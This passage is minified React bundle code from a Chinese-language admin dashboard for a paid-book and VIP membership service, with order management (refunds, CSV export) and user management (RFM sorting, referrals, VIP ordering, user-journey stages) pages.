Date().toISOString().slice(0,10)}.csv`,Y.click(),URL.revokeObjectURL(J)}return s.jsxs("div",{className:"p-8 w-full",children:[I&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:I}),s.jsx("button",{type:"button",onClick:()=>O(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"订单管理"}),s.jsxs("p",{className:"text-gray-400 mt-1",children:["共 ",t.length," 笔订单"]})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs(te,{variant:"outline",onClick:fe,disabled:E,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${E?"animate-spin":""}`}),"刷新"]}),s.jsxs("div",{className:"flex items-center gap-2 text-sm",children:[s.jsx("span",{className:"text-gray-400",children:"总收入:"}),s.jsxs("span",{className:"text-[#38bdac] font-bold",children:["¥",o.toFixed(2)]}),s.jsx("span",{className:"text-gray-600",children:"|"}),s.jsx("span",{className:"text-gray-400",children:"今日:"}),s.jsxs("span",{className:"text-[#FFD700] font-bold",children:["¥",u.toFixed(2)]})]})]})]}),s.jsxs("div",{className:"flex items-center gap-4 mb-6",children:[s.jsxs("div",{className:"relative flex-1 max-w-md",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-500"}),s.jsx(se,{type:"text",placeholder:"搜索订单号/用户/章节...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white placeholder:text-gray-500",value:N,onChange:B=>w(B.target.value)})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Qw,{className:"w-4 h-4 text-gray-400"}),s.jsxs("select",{value:k,onChange:B=>C(B.target.value),className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"completed",children:"已完成"}),s.jsx("option",{value:"pending",children:"待支付"}),s.jsx("option",{value:"created",children:"已创建"}),s.jsx("option",{value:"failed",children:"已失败"}),s.jsx("option",{value:"refunded",children:"已退款"})]})]}),s.jsxs(te,{variant:"outline",onClick:q,disabled:t.length===0,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(pM,{className:"w-4 h-4 mr-2"}),"导出 CSV"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:E?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs("div",{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"订单号"}),s.jsx(ke,{className:"text-gray-400",children:"用户"}),s.jsx(ke,{className:"text-gray-400",children:"商品"}),s.jsx(ke,{className:"text-gray-400",children:"金额"}),s.jsx(ke,{className:"text-gray-400",children:"支付方式"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"退款原因"}),s.jsx(ke,{className:"text-gray-400",children:"分销佣金"}),s.jsx(ke,{className:"text-gray-400",children:"下单时间"}),s.jsx(ke,{className:"text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(B=>{const _=H(B);return s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsxs(ve,{className:"font-mono text-xs text-gray-400",children:[(B.orderSn||B.id||"").slice(0,12),"..."]}),s.jsx(ve,{children:s.jsxs("div",{children:[s.jsxs("p",{className:"text-white text-sm flex items-center gap-2",children:[xe(B),B.paymentMethod==="gift_pay"&&s.jsx(We,{className:"bg-emerald-500/20 text-emerald-400 hover:bg-emerald-500/20 border-0 text-xs",children:"代付领取"}),B.payerUserId&&B.paymentMethod!=="gift_pay"&&s.jsx(We,{className:"bg-amber-500/20 text-amber-400 hover:bg-amber-500/20 border-0 text-xs",children:"代付"})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:$(B.userId)}),B.payerUserId&&B.payerNickname&&s.jsxs("p",{className:"text-amber-400/80 text-xs mt-0.5",children:[B.paymentMethod==="gift_pay"?"赠送人:":"代付人:",B.payerNickname]})]})}),s.jsx(ve,{children:s.jsxs("div",{children:[s.jsxs("p",{className:"text-white text-sm flex items-center gap-2",children:[_.name,(B.productType||B.type)==="vip"&&s.jsx(We,{className:"bg-amber-500/20 text-amber-400 hover:bg-amber-500/20 border-0 text-xs",children:"超级个体"})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:_.type})]})}),s.jsxs(ve,{className:"text-[#38bdac] font-bold",children:["¥",Number(B.amount||0).toFixed(2)]}),s.jsx(ve,{className:"text-gray-300",children:B.paymentMethod==="wechat"?"微信支付":B.paymentMethod==="balance"?"余额支付":B.paymentMethod==="alipay"?"支付宝":B.paymentMethod||"微信支付"}),s.jsx(ve,{children:B.status==="refunded"?s.jsx(We,{className:"bg-gray-500/20 text-gray-400 hover:bg-gray-500/20 border-0",children:"已退款"}):B.status==="paid"||B.status==="completed"?s.jsx(We,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"已完成"}):B.status==="pending"||B.status==="created"?s.jsx(We,{className:"bg-yellow-500/20 text-yellow-400 hover:bg-yellow-500/20 border-0",children:"待支付"}):s.jsx(We,{className:"bg-red-500/20 text-red-400 hover:bg-red-500/20 border-0",children:"已失败"})}),s.jsx(ve,{className:"text-gray-400 text-sm max-w-[120px] truncate",title:B.refundReason,children:B.status==="refunded"&&B.refundReason?B.refundReason:"-"}),s.jsx(ve,{className:"text-[#FFD700]",children:B.referrerEarnings?`¥${Number(B.referrerEarnings).toFixed(2)}`:"-"}),s.jsx(ve,{className:"text-gray-400 text-sm",children:new Date(B.createdAt).toLocaleString("zh-CN")}),s.jsx(ve,{children:(B.status==="paid"||B.status==="completed")&&B.paymentMethod!=="balance"&&s.jsxs(te,{variant:"outline",size:"sm",className:"border-orange-500/50 text-orange-400 hover:bg-orange-500/20",onClick:()=>{R(B),z("")},children:[s.jsx(rj,{className:"w-3 h-3 mr-1"}),"退款"]})})]},B.id)}),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:10,className:"text-center py-12 text-gray-500",children:"暂无订单数据"})})]})]}),s.jsx(is,{page:f,totalPages:oe,total:a,pageSize:g,onPageChange:m,onPageSizeChange:B=>{y(B),m(1)}})]})})}),s.jsx(Dt,{open:!!L,onOpenChange:B=>!B&&R(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"订单退款"})}),L&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["订单号:",L.orderSn||L.id]}),s.jsxs("p",{className:"text-gray-400 text-sm",children:["退款金额:¥",Number(L.amount||0).toFixed(2)]}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"退款原因(选填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"如:用户申请退款",value:D,onChange:B=>z(B.target.value)})})]}),s.jsx("p",{className:"text-orange-400/80 text-xs",children:"退款将原路退回至用户微信,且无法撤销,请确认后再操作。"})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:()=>R(null),disabled:Z,children:"取消"}),s.jsx(te,{className:"bg-orange-500 hover:bg-orange-600 text-white",onClick:P,disabled:Z,children:Z?"退款中...":"确认退款"})]})]})})]})}const _l=b.forwardRef(({className:t,...e},n)=>s.jsx("textarea",{className:Et("flex min-h-[80px] w-full rounded-md border border-input bg-background px-3 py-2 text-sm placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50",t),ref:n,...e}));_l.displayName="Textarea";const Ou=[{id:"register",label:"注册/登录",icon:"👤",color:"bg-blue-500/20 border-blue-500/40 text-blue-400",desc:"微信授权登录或手机号注册"},{id:"browse",label:"浏览章节",icon:"📖",color:"bg-purple-500/20 border-purple-500/40 text-purple-400",desc:"点击免费/付费章节预览"},{id:"bind_phone",label:"绑定手机",icon:"📱",color:"bg-cyan-500/20 border-cyan-500/40 text-cyan-400",desc:"触发付费章节后绑定手机"},{id:"first_pay",label:"首次付款",icon:"💳",color:"bg-green-500/20 border-green-500/40 text-green-400",desc:"购买单章或全书"},{id:"fill_profile",label:"完善资料",icon:"✍️",color:"bg-yellow-500/20 border-yellow-500/40 text-yellow-400",desc:"填写头像、MBTI、行业等"},{id:"match",label:"派对房匹配",icon:"🤝",color:"bg-orange-500/20 border-orange-500/40 text-orange-400",desc:"参与 Soul 派对房"},{id:"vip",label:"升级 VIP",icon:"👑",color:"bg-amber-500/20 border-amber-500/40 text-amber-400",desc:"付款 ¥1980 购买全书"},{id:"distribution",label:"开启分销",icon:"🔗",color:"bg-[#38bdac]/20 border-[#38bdac]/40 text-[#38bdac]",desc:"生成推广码并推荐好友"}];function pP(){var fs,Di,Ps,Li,Pa;const[t,e]=Ww(),n=t.get("pool"),[r,a]=b.useState([]),[i,o]=b.useState(0),[c,u]=b.useState(1),[h,f]=b.useState(10),[m,g]=b.useState(""),y=r0(m,300),N=n==="vip"?"vip":n==="complete"?"complete":"all",[w,v]=b.useState(N),[k,C]=b.useState(!0),[E,T]=b.useState(!1),[I,O]=b.useState(null),[L,R]=b.useState(!1),[D,z]=b.useState("desc");b.useEffect(()=>{n==="vip"?v("vip"):n==="complete"?v("complete"):n==="all"&&v("all")},[n]);const[Z,ne]=b.useState(!1),[fe,xe]=b.useState(null),[$,H]=b.useState(!1),[oe,P]=b.useState(!1),[q,B]=b.useState({referrals:[],stats:{}}),[_,W]=b.useState(!1),[le,J]=b.useState(null),[Y,V]=b.useState(!1),[re,ue]=b.useState(null),[ce,ye]=b.useState({phone:"",nickname:"",password:"",isAdmin:!1,hasFullBook:!1}),[Re,Le]=b.useState([]),[lt,Tt]=b.useState(!1),[ln,yt]=b.useState(!1),[nn,In]=b.useState(null),[Mt,Yt]=b.useState({title:"",description:"",trigger:"",sort:0,enabled:!0}),[rn,Rn]=b.useState([]),[pr,Pn]=b.useState(!1),[Hn,K]=b.useState(null),[Ue,Je]=b.useState(null),[xt,ct]=b.useState({}),[nt,gt]=b.useState(!1);async function Rt(U=!1){var Pe;C(!0),U&&T(!0),O(null);try{if(L){const Ve=new URLSearchParams({search:y,limit:String(h*5)}),Ge=await De(`/api/db/users/rfm?${Ve}`);if(Ge!=null&&Ge.success){let Nn=Ge.users||[];D==="asc"&&(Nn=[...Nn].reverse());const gr=(c-1)*h;a(Nn.slice(gr,gr+h)),o(((Pe=Ge.users)==null?void 0:Pe.length)??0),Nn.length===0&&(R(!1),O("暂无订单数据,RFM 排序需要用户有购买记录后才能生效"))}else R(!1),O((Ge==null?void 0:Ge.error)||"RFM 加载失败,已切回普通模式")}else{const Ve=new URLSearchParams({page:String(c),pageSize:String(h),search:y,...w==="vip"&&{vip:"true"},...w==="complete"&&{pool:"complete"}}),Ge=await De(`/api/db/users?${Ve}`);Ge!=null&&Ge.success?(a(Ge.users||[]),o(Ge.total??0)):O((Ge==null?void 0:Ge.error)||"加载失败")}}catch(Ve){console.error("Load users error:",Ve),O("网络错误")}finally{C(!1),U&&T(!1)}}b.useEffect(()=>{u(1)},[y,w,L]),b.useEffect(()=>{Rt()},[c,h,y,w,L,D]);const gn=Math.ceil(i/h)||1,mr=()=>{L?D==="desc"?z("asc"):(R(!1),z("desc")):(R(!0),z("desc"))},wr=U=>({S:"bg-amber-500/20 text-amber-400",A:"bg-green-500/20 text-green-400",B:"bg-blue-500/20 text-blue-400",C:"bg-gray-500/20 text-gray-400",D:"bg-red-500/20 text-red-400"})[U||""]||"bg-gray-500/20 text-gray-400";async function As(U){var Pe;if(confirm("确定要删除这个用户吗?"))try{const Ve=await Bs(`/api/db/users?id=${encodeURIComponent(U)}`);Ve!=null&&Ve.success?(ie.success("已删除"),Rt()):ie.error("删除失败: "+((Ve==null?void 0:Ve.error)||"未知错误"))}catch(Ve){const Ge=Ve,Nn=((Pe=Ge==null?void 0:Ge.data)==null?void 0:Pe.error)||(Ge==null?void 0:Ge.message)||"网络错误";ie.error("删除失败: "+Nn)}}const Wr=U=>{xe(U),ye({phone:U.phone||"",nickname:U.nickname||"",password:"",isAdmin:!!(U.isAdmin??!1),hasFullBook:!!(U.hasFullBook??!1)}),ne(!0)},Is=()=>{xe(null),ye({phone:"",nickname:"",password:"",isAdmin:!1,hasFullBook:!1}),ne(!0)};async function pe(){if(!ce.phone||!ce.nickname){ie.error("请填写手机号和昵称");return}H(!0);try{if(fe){const U=await zt("/api/db/users",{id:fe.id,phone:ce.phone||void 0,nickname:ce.nickname,isAdmin:ce.isAdmin,hasFullBook:ce.hasFullBook,...ce.password&&{password:ce.password}});if(!(U!=null&&U.success)){ie.error("更新失败: "+((U==null?void 0:U.error)||""));return}}else{const U=await vt("/api/db/users",{phone:ce.phone,nickname:ce.nickname,password:ce.password,isAdmin:ce.isAdmin});if(!(U!=null&&U.success)){ie.error("创建失败: "+((U==null?void 0:U.error)||""));return}}ne(!1),Rt()}catch{ie.error("保存失败")}finally{H(!1)}}async function ge(U){J(U),P(!0),W(!0);try{const Pe=await De(`/api/db/users/referrals?userId=${encodeURIComponent(U.id)}`);Pe!=null&&Pe.success?B({referrals:Pe.referrals||[],stats:Pe.stats||{}}):B({referrals:[],stats:{}})}catch{B({referrals:[],stats:{}})}finally{W(!1)}}const Pt=b.useCallback(async()=>{Tt(!0);try{const U=await De("/api/db/user-rules");U!=null&&U.success&&Le(U.rules||[])}catch{}finally{Tt(!1)}},[]);async function On(){if(!Mt.title){ie.error("请填写规则标题");return}H(!0);try{if(nn){const U=await zt("/api/db/user-rules",{id:nn.id,...Mt});if(!(U!=null&&U.success)){ie.error("更新失败: "+((U==null?void 0:U.error)||""));return}}else{const U=await vt("/api/db/user-rules",Mt);if(!(U!=null&&U.success)){ie.error("创建失败: "+((U==null?void 0:U.error)||""));return}}yt(!1),Pt()}catch{ie.error("保存失败")}finally{H(!1)}}async function Qs(U){if(confirm("确定删除?"))try{const Pe=await Bs(`/api/db/user-rules?id=${U}`);Pe!=null&&Pe.success&&Pt()}catch{}}async function Xs(U){try{await zt("/api/db/user-rules",{id:U.id,enabled:!U.enabled}),Pt()}catch{}}const Wn=b.useCallback(async()=>{Pn(!0);try{const U=await De("/api/db/vip-members?limit=500");if(U!=null&&U.success&&U.data){const Pe=[...U.data].map((Ve,Ge)=>({...Ve,vipSort:typeof Ve.vipSort=="number"?Ve.vipSort:Ge+1}));Pe.sort((Ve,Ge)=>(Ve.vipSort??999999)-(Ge.vipSort??999999)),Rn(Pe)}else U&&U.error&&ie.error(U.error)}catch{ie.error("加载超级个体列表失败")}finally{Pn(!1)}},[]),[Zs,ft]=b.useState(!1),[xn,Ur]=b.useState(null),[Ir,ds]=b.useState(""),[Dn,us]=b.useState(!1),hs=["创业者","资源整合者","技术达人","投资人","产品经理","流量操盘手"],Rs=U=>{Ur(U),ds(U.vipRole||""),ft(!0)},Ma=async U=>{const Pe=U.trim();if(xn){if(!Pe){ie.error("请选择或输入标签");return}us(!0);try{const Ve=await zt("/api/db/users",{id:xn.id,vipRole:Pe});if(!(Ve!=null&&Ve.success)){ie.error((Ve==null?void 0:Ve.error)||"更新超级个体标签失败");return}ie.success("已更新超级个体标签"),ft(!1),Ur(null),await Wn()}catch{ie.error("更新超级个体标签失败")}finally{us(!1)}}},[er,Kr]=b.useState(!1),[ea,Rr]=b.useState(null),[Pi,Aa]=b.useState(""),[Ro,Ia]=b.useState(!1),qr=U=>{Rr(U),Aa(U.vipSort!=null?String(U.vipSort):""),Kr(!0)},Gr=async()=>{if(!ea)return;const U=Number(Pi);if(!Number.isFinite(U)){ie.error("请输入有效的数字序号");return}Ia(!0);try{const Pe=await zt("/api/db/users",{id:ea.id,vipSort:U});if(!(Pe!=null&&Pe.success)){ie.error((Pe==null?void 0:Pe.error)||"更新排序序号失败");return}ie.success("已更新排序序号"),Kr(!1),Rr(null),await Wn()}catch{ie.error("更新排序序号失败")}finally{Ia(!1)}},Ra=(U,Pe)=>{U.dataTransfer.effectAllowed="move",U.dataTransfer.setData("text/plain",Pe),K(Pe)},Hl=(U,Pe)=>{U.preventDefault(),Ue!==Pe&&Je(Pe)},ta=()=>{K(null),Je(null)},Ot=async(U,Pe)=>{U.preventDefault();const Ve=U.dataTransfer.getData("text/plain")||Hn;if(K(null),Je(null),!Ve||Ve===Pe)return;const Ge=rn.find(Qt=>Qt.id===Ve),Nn=rn.find(Qt=>Qt.id===Pe);if(!Ge||!Nn)return;const gr=Ge.vipSort??rn.findIndex(Qt=>Qt.id===Ve)+1,Po=Nn.vipSort??rn.findIndex(Qt=>Qt.id===Pe)+1;Rn(Qt=>{const Un=[...Qt],ps=Un.findIndex(Oa=>Oa.id===Ve),Os=Un.findIndex(Oa=>Oa.id===Pe);if(ps===-1||Os===-1)return Qt;const na=[...Un],[Wl,_i]=[na[ps],na[Os]];return na[ps]={..._i,vipSort:gr},na[Os]={...Wl,vipSort:Po},na});try{const[Qt,Un]=await Promise.all([zt("/api/db/users",{id:Ve,vipSort:Po}),zt("/api/db/users",{id:Pe,vipSort:gr})]);if(!(Qt!=null&&Qt.success)||!(Un!=null&&Un.success)){ie.error((Qt==null?void 0:Qt.error)||(Un==null?void 0:Un.error)||"更新排序失败"),await Wn();return}ie.success("已更新排序"),await Wn()}catch{ie.error("更新排序失败"),await Wn()}},Oi=b.useCallback(async()=>{gt(!0);try{const U=await De("/api/db/users/journey-stats");U!=null&&U.success&&U.stats&&ct(U.stats)}catch{}finally{gt(!1)}},[]);return s.jsxs("div",{className:"p-8 w-full",children:[I&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:I}),s.jsx("button",{type:"button",onClick:()=>O(null),children:"×"})]}),s.jsx("div",{className:"flex justify-between items-center mb-6",children:s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"用户管理"}),s.jsxs("p",{className:"text-gray-400 mt-1 text-sm",children:["共 ",i," 位注册用户",L&&" · RFM 排序中"]})]})}),s.jsxs(yd,{defaultValue:"users",className:"w-full",children:[s.jsxs(Ll,{className:"bg-[#0a1628] border border-gray-700/50 p-1 mb-6 flex-wrap h-auto gap-1",children:[s.jsxs(Zt,{value:"users",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",children:[s.jsx(Zn,{className:"w-4 h-4"})," 用户列表"]}),s.jsxs(Zt,{value:"journey",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",onClick:Oi,children:[s.jsx(ml,{className:"w-4 h-4"})," 用户旅程总览"]}),s.jsxs(Zt,{value:"rules",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",onClick:Pt,children:[s.jsx(lo,{className:"w-4 h-4"})," 规则配置"]}),s.jsxs(Zt,{value:"vip-roles",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",onClick:Wn,children:[s.jsx(yl,{className:"w-4 h-4"})," 超级个体列表"]})]}),s.jsxs(en,{value:"users",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4 justify-end flex-wrap",children:[s.jsxs(te,{variant:"outline",onClick:()=>Rt(!0),disabled:E,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${E?"animate-spin":""}`})," 刷新"]}),s.jsxs("select",{value:w,onChange:U=>{const Pe=U.target.value;v(Pe),u(1),n&&(t.delete("pool"),e(t))},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",disabled:L,children:[s.jsx("option",{value:"all",children:"全部用户"}),s.jsx("option",{value:"vip",children:"VIP会员(超级个体)"}),s.jsx("option",{value:"complete",children:"完善资料用户"})]}),s.jsxs("div",{className:"relative",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-500"}),s.jsx(se,{type:"text",placeholder:"搜索用户...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white placeholder:text-gray-500 w-56",value:m,onChange:U=>g(U.target.value)})]}),s.jsxs(te,{onClick:Is,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(Lg,{className:"w-4 h-4 mr-2"})," 添加用户"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:k?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs("div",{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"用户信息"}),s.jsx(ke,{className:"text-gray-400",children:"绑定信息"}),s.jsx(ke,{className:"text-gray-400",children:"购买状态"}),s.jsx(ke,{className:"text-gray-400",children:"分销收益"}),s.jsxs(ke,{className:"text-gray-400 cursor-pointer select-none",onClick:mr,children:[s.jsxs("div",{className:"flex items-center gap-1 group",children:[s.jsx($c,{className:"w-3.5 h-3.5"}),s.jsx("span",{children:"RFM分值"}),L?D==="desc"?s.jsx(Zc,{className:"w-3.5 h-3.5 text-[#38bdac]"}):s.jsx(Kw,{className:"w-3.5 h-3.5 text-[#38bdac]"}):s.jsx(Em,{className:"w-3.5 h-3.5 text-gray-600 group-hover:text-gray-400"})]}),L&&s.jsx("div",{className:"text-[10px] text-[#38bdac] font-normal mt-0.5",children:"点击切换方向/关闭"})]}),s.jsx(ke,{className:"text-gray-400",children:"注册时间"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[r.map(U=>{var Pe,Ve,Ge;return s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-10 h-10 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac]",children:U.avatar?s.jsx("img",{src:U.avatar,className:"w-full h-full rounded-full object-cover",alt:""}):((Pe=U.nickname)==null?void 0:Pe.charAt(0))||"?"}),s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("button",{type:"button",onClick:()=>{ue(U.id),V(!0)},className:"font-medium text-[#38bdac] hover:text-[#2da396] hover:underline text-left",children:U.nickname}),U.isAdmin&&s.jsx(We,{className:"bg-purple-500/20 text-purple-400 hover:bg-purple-500/20 border-0 text-xs",children:"管理员"}),U.openId&&!((Ve=U.id)!=null&&Ve.startsWith("user_"))&&s.jsx(We,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0 text-xs",children:"微信"})]}),s.jsx("p",{className:"text-xs text-gray-500 font-mono",children:U.openId?U.openId.slice(0,12)+"...":(Ge=U.id)==null?void 0:Ge.slice(0,12)})]})]})}),s.jsx(ve,{children:s.jsxs("div",{className:"space-y-1",children:[U.phone&&s.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"📱"}),s.jsx("span",{className:"text-gray-300",children:U.phone})]}),U.wechatId&&s.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"💬"}),s.jsx("span",{className:"text-gray-300",children:U.wechatId})]}),U.openId&&s.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"🔗"}),s.jsxs("span",{className:"text-gray-500 truncate max-w-[100px]",title:U.openId,children:[U.openId.slice(0,12),"..."]})]}),!U.phone&&!U.wechatId&&!U.openId&&s.jsx("span",{className:"text-gray-600 text-xs",children:"未绑定"})]})}),s.jsx(ve,{children:U.hasFullBook?s.jsx(We,{className:"bg-amber-500/20 text-amber-400 hover:bg-amber-500/20 border-0",children:"VIP"}):s.jsx(We,{variant:"outline",className:"text-gray-500 border-gray-600",children:"未购买"})}),s.jsx(ve,{children:s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"text-white font-medium",children:["¥",parseFloat(String(U.earnings||0)).toFixed(2)]}),parseFloat(String(U.pendingEarnings||0))>0&&s.jsxs("div",{className:"text-xs text-yellow-400",children:["待提现: ¥",parseFloat(String(U.pendingEarnings||0)).toFixed(2)]}),s.jsxs("div",{className:"text-xs text-[#38bdac] cursor-pointer hover:underline flex items-center gap-1",onClick:()=>ge(U),role:"button",tabIndex:0,onKeyDown:Nn=>Nn.key==="Enter"&&ge(U),children:[s.jsx(Zn,{className:"w-3 h-3"})," 绑定",U.referralCount||0,"人"]})]})}),s.jsx(ve,{children:U.rfmScore!==void 0?s.jsx("div",{className:"flex flex-col gap-1",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("span",{className:"text-white font-bold text-base",children:U.rfmScore}),s.jsx(We,{className:`border-0 text-xs ${wr(U.rfmLevel)}`,children:U.rfmLevel})]})}):s.jsxs("span",{className:"text-gray-600 text-sm",children:["— ",s.jsx("span",{className:"text-xs text-gray-700",children:"点列头排序"})]})}),s.jsx(ve,{className:"text-gray-400",children:U.createdAt?new Date(U.createdAt).toLocaleDateString():"-"}),s.jsx(ve,{className:"text-right",children:s.jsxs("div",{className:"flex items-center justify-end gap-1",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>{ue(U.id),V(!0)},className:"text-gray-400 hover:text-blue-400 hover:bg-blue-400/10",title:"用户详情",children:s.jsx(Ig,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>Wr(U),className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",title:"编辑用户",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",onClick:()=>As(U.id),title:"删除",children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},U.id)}),r.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:"暂无用户数据"})})]})]}),s.jsx(is,{page:c,totalPages:gn,total:i,pageSize:h,onPageChange:u,onPageSizeChange:U=>{f(U),u(1)}})]})})})]}),s.jsxs(en,{value:"journey",children:[s.jsxs("div",{className:"flex items-center justify-between mb-5",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"用户从注册到 VIP 的完整行动路径,点击各阶段查看用户动态"}),s.jsxs(te,{variant:"outline",onClick:Oi,disabled:nt,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${nt?"animate-spin":""}`})," 刷新数据"]})]}),s.jsxs("div",{className:"relative mb-8",children:[s.jsx("div",{className:"absolute top-16 left-0 right-0 h-0.5 bg-gradient-to-r from-blue-500/20 via-[#38bdac]/30 to-amber-500/20 mx-20"}),s.jsx("div",{className:"grid grid-cols-4 gap-4 lg:grid-cols-8",children:Ou.map((U,Pe)=>s.jsxs("div",{className:"relative flex flex-col items-center",children:[s.jsxs("div",{className:`relative w-full p-3 rounded-xl border ${U.color} text-center cursor-default`,children:[s.jsx("div",{className:"text-2xl mb-1",children:U.icon}),s.jsx("div",{className:`text-xs font-medium ${U.color.split(" ").find(Ve=>Ve.startsWith("text-"))}`,children:U.label}),xt[U.id]!==void 0&&s.jsxs("div",{className:"mt-1.5 text-xs text-gray-400",children:[s.jsx("span",{className:"font-bold text-white",children:xt[U.id]})," 人"]}),s.jsx("div",{className:"absolute -top-2.5 -left-2.5 w-5 h-5 rounded-full bg-[#0a1628] border border-gray-700 flex items-center justify-center text-[10px] text-gray-500",children:Pe+1})]}),Pes.jsxs("div",{className:"flex items-start gap-3 p-2 bg-[#0a1628] rounded",children:[s.jsx("span",{className:"text-[#38bdac] font-mono text-xs shrink-0 mt-0.5",children:U.step}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-300",children:U.action}),s.jsxs("p",{className:"text-gray-600 text-xs",children:["→ ",U.next]})]})]},U.step))})]}),s.jsxs("div",{className:"bg-[#0f2137] border border-gray-700/50 rounded-lg p-4",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(Br,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"行为锚点统计"}),s.jsx("span",{className:"text-gray-500 text-xs ml-auto",children:"实时更新"})]}),nt?s.jsx("div",{className:"flex items-center justify-center py-8",children:s.jsx(qe,{className:"w-5 h-5 text-[#38bdac] animate-spin"})}):Object.keys(xt).length>0?s.jsx("div",{className:"space-y-2",children:Ou.map(U=>{const 